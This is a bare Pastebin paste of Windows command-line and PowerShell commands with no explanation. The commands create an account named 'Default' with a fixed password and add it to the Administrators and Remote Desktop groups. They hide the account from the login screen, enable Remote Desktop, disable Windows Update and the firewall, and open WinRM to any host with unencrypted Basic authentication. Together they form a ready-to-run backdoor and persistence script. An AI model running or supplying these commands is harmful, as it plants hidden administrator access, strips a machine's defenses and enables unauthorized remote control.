Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- net user /Delete Default
- net user /add Default P@ssw0rdf0rme
- $w = (New-Object System.Security.Principal.SecurityIdentifier("S-1-5-32-544")).Translate( [System.Security.Principal.NTAccount]).value
- $s = (New-Object System.Security.Principal.SecurityIdentifier("S-1-5-32-555")).Translate( [System.Security.Principal.NTAccount]).value
- $o = (New-Object System.Security.Principal.SecurityIdentifier("S-1-5-32-545")).Translate( [System.Security.Principal.NTAccount]).value
- net localgroup $w.Remove(0, $w.IndexOf("\")+1) Default /add
- net localgroup $s.Remove(0, $s.IndexOf("\")+1) Default /add
- net localgroup $o.Remove(0, $o.IndexOf("\")+1) /del Default
- reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
- reg add 'HKLM\SOFTWARE\Microsoft\Winadows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList' /v Default /t REG_DWORD /d 0 /f
- reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v dontdisplaylastusername /t REG_DWORD /d 1 /f
- cmd.exe /c sc config wuauserv start= disabled ; cmd.exe /c net stop wuauserv
- netsh firewall set opmode disable
- $networkListManager = [Activator]::CreateInstance([Type]::GetTypeFromCLSID([Guid]'{DCB00C01-570F-4A9B-8D69-199FDBA5723B}')) ; $connections = $networkListManager.GetNetworkConnections() ; $connections | % {$_.GetNetwork().SetCategory(1)}
- Set-Item wsman:\localhost\client\trustedhosts * -Force
- cmd.exe /c 'winrm set winrm/config/service @{AllowUnencrypted="true"}'
- cmd.exe /c 'winrm set winrm/config/service/auth @{Basic="true"}'
- Restart-Service WinRM
- Enable-PSRemoting -SkipNetworkProfileCheck -Force
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement